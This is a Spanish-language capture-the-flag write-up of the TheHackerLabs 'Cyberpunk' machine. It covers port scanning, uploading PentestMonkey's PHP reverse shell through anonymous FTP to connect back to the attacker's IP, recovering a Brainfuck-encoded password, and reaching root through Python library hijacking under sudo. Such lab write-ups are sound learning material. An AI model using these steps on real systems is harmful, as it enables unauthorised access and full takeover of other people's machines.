Maquina Cyberpunk
- OS: Linux
- Plataforma: TheHackerLabs
- Nivel: Easy
- Tags: #ftp #brainfuck #python-library-hijacking
Reconocimiento¶
Comienzo tirando un ping para comprobar la conectividad:
ping -c 1 192.168.1.206
-------------------------------------------------------------
PING 192.168.1.206 (192.168.1.206) 56(84) bytes of data.
64 bytes from 192.168.1.206: icmp_seq=1 ttl=64 time=2.27 ms
--- 192.168.1.206 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.270/2.270/2.270/0.000 ms
Ahora procedo a realizar un escaneo con nmap para descubrir puertos abiertos.
> sudo nmap -p- -sS -Pn -n --min-rate 5000 -vvv 192.168.1.206
---------------------------------------------------------------
Scanned at 2025-12-04 16:48:15 CST for 6s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:4B:80:53 (V
- Vemos los puertos abiertos 21 FTP, 22 SSH y 80 HTTP
Sobre los puertos abiertos procedo a realizar un segundo escaneo mas profundo para detectar servicios, versiones y correr un conjunto de scripts predeterminados.
> sudo nmap -p 21,22,80 -sS -sC -sV -Pn -n --min-rate 5000 -vvv 192.168.1.206 -oN target
--------------------------------------------------------------------------------------------
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64
| fingerprint-strings:
| GenericLines:
| 220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.1.206]
| Orden incorrecta: Intenta ser m
| creativo
| Orden incorrecta: Intenta ser m
| creativo
| Help:
| 220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.1.206]
| 214-Se reconocen las siguiente
| rdenes (* =>'s no implementadas):
| XCWD CDUP XCUP SMNT* QUIT PORT PASV
| EPRT EPSV ALLO RNFR RNTO DELE MDTM RMD
| XRMD MKD XMKD PWD XPWD SIZE SYST HELP
| NOOP FEAT OPTS HOST CLNT AUTH* CCC* CONF*
| ENC* MIC* PBSZ* PROT* TYPE STRU MODE RETR
| STOR STOU APPE REST ABOR RANG USER PASS
| ACCT* REIN* LIST NLST STAT SITE MLSD MLST
| comentario a root@Cyberpunk'
| NULL, SMBProgNeg, SSLSessionReq:
|_ 220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.1.206]
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 May 1 2024 images
| -rw-r--r-- 1 0 0 713 May 1 2024 index.html
|_-rw-r--r-- 1 0 0 923 May 1 2024 secret.txt
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 6d:b5:c8:65:8d:1f:8a:98:76:93:26:27:df:29:72:4a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAnHm3957YYGt8rfRvzHqG93RImKV9IYDIv7hlX6IeXjLPQeUt0SLmvlRnSe6tTslYaehhRZFeEm5I4x01fWvBU=
| 256 a5:83:2a:8f:eb:c6:f1:0b:e0:e6:d8:e1:05:3b:4c:a5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAp8VVcsExMwfXIMGPWN7XVZ245GSye6606JR76CrjaL
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Arasaka
- Puerto 21 FTP: ProFTPD con el login Anonymous permitido. Aqui podemos ver recursos como
/images,index.htmlysecret.txt. - Puerto 22 SSH: OpenSSH 9.2p1 Debian 2+deb12u2
- Puerto 80 HTTP: Apache httpd 2.4.59
Enumeración¶
Puerto 80 HTTP
- Al acceder a la web lo único que vemos es una imagen:
- Su codigo fuente tampoco contiene nada interesante.
Fuzzing.
Para tener mas en claro todos los recursos de la web procedimos a realizar fuzzing usando feroxbuster
> feroxbuster -u http://192.168.1.206 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,py,log,txt,xml,js -t 20
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.1.206/
🚩 In-Scope Url │ 192.168.1.206
🚀 Threads │ 20
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
🔎 Extract Links │ true
💲 Extensions │ [html, php, py, log, txt, xml, js]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 9l 28w 315c http://192.168.1.206/images => http://192.168.1.206/images/
200 GET 27l 78w 713c http://192.168.1.206/index.html
200 GET 562l 2636w 252991c http://192.168.1.206/images/netrunner.jpeg
200 GET 20l 101w 923c http://192.168.1.206/secret.txt
- Encontramos los recursos
/images,secret.txtyindex.html. Estos recursos son idénticos a los que encontramos en el servicioFTPen la etapa de reconocimiento.
Explotación¶
Sabiendo que los recursos de la web son idénticos a los del servidor FTP podemos asumir que los archivos que subamos al FTP van a poder ser accesibles desde la web. Por lo cual nosotros podemos acceder al FTP aprovechándonos del anonymous login y subir una reverse-shell.
Yo utilice la reverse-shell de PentestMonkey
> wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
Tenemos que modificar la reverse-shell para colocar nuestra ip y puerto:
> nano php-reverse-shell.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<TUIP>'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
Me pongo en escucha por el puerto 443
Y ahora procedo a conectarme al servicio FTP para subir la reverse-shell.
> ftp 192.168.1.206
Connected to 192.168.1.206.
220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.1.206]
Name (192.168.1.206:wndr): anonymous
331 Conexión anónima ok, envía tu dirección de email como contraseña
Password:
230 Aceptado acceso anónimo, aplicadas restricciones
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||29466|)
150 Abriendo conexión de datos en modo BINARY para php-reverse-shell.php
100% |****************************************| 5494 27.43 MiB/s 00:00 ETA
226 Transferencia completada
Una vez que hayamos subido la reverse-shell al FTP podemos acceder a ella desde la web.
Recibimos la conexion a la maquina.
Connection received on 192.168.1.206 56606
Linux Cyberpunk 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64 GNU/Linux
18:06:31 up 20 min, 0 user, load average: 0.00, 1.22, 1.31
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Escalada de Privilegios¶
Lo primero que hice fue echar un vistazo al /etc/passwd para ver que usuarios existían y me encontré con el usuario arasaka
www-data@Cyberpunk:$ cat /etc/passwd
------------------------------------
arasaka:x:1000:1000:arasaka,,,:/home/arasaka:/bin/bash
Dentro del sistema en el directorio /opt me encontré con un archivo llamado arasaka.txt en formatobrainfuck.
www-data@Cyberpunk:/opt$ cat arasaka.txt
cat arasaka.txt
++++++++++[>++++++++++>++++++++++++>++++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++++>+++++++++++>+++++++++++>+++++>+++++>++++++<<<<<<<<<<<<-]>-.>+.>--.>+.>++++.>++.>---.>.>---.>.>--.>-----..
Al decodificar este mensaje con BrainfuckTranslator nos da la siguiente salida: cyberpunk2077
- Por lo cual ahora podemos concluir que tenemos el usuario y contraseña arasaka:cyberpunk2077
Ahora procedemos a migrar al usuario arasaka
Siendo el usuario arasaka procedí a enumerar binarios con privilegios de SUDO.
- Encuentro que podemos ejecutar el binario randombase64.py como root.
arasaka@Cyberpunk:~$ sudo -l
User arasaka may run the following commands on Cyberpunk:
(root) PASSWD: /usr/bin/python3.11 /home/arasaka/randombase64.py
Inspeccione el binario randombase64.py para ver que es lo que hacia.
- El script de python utiliza una librería llamada
base64para codificar un mensaje a base64
arasaka@Cyberpunk:~$ cat randombase64.py
import base64
message = input("Enter your string")
message_bytes = message.encode("ascii")
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode("ascii")
print(base64_message)
Python Library Hijacking.
Python Library Hijacking Explota el orden de búsqueda de librerías en Python. Cuando un script hace import base64 o alguna otra librería, Python busca primero en el directorio actual, luego en PYTHONPATH, y finalmente en las librerías del sistema.
Como el script randombase64.py importa la librería base64 y tenemos permisos de escritura en /home/arasaka/, podemos crear nuestra propia versión maliciosa de base64.py que será importada en lugar de la librería legítima.
- Vamos a spawnear una shell una vez se ejecute la librería de base64
Ahora ejecutamos el script randombase64.py como root para poder migrar a este usuario.
arasaka@Cyberpunk:~$ sudo /usr/bin/python3.11 /home/arasaka/randombase64.py
root@Cyberpunk:/home/arasaka# id
id
uid=0(root) gid=0(root) grupos=0(root)
PWNED

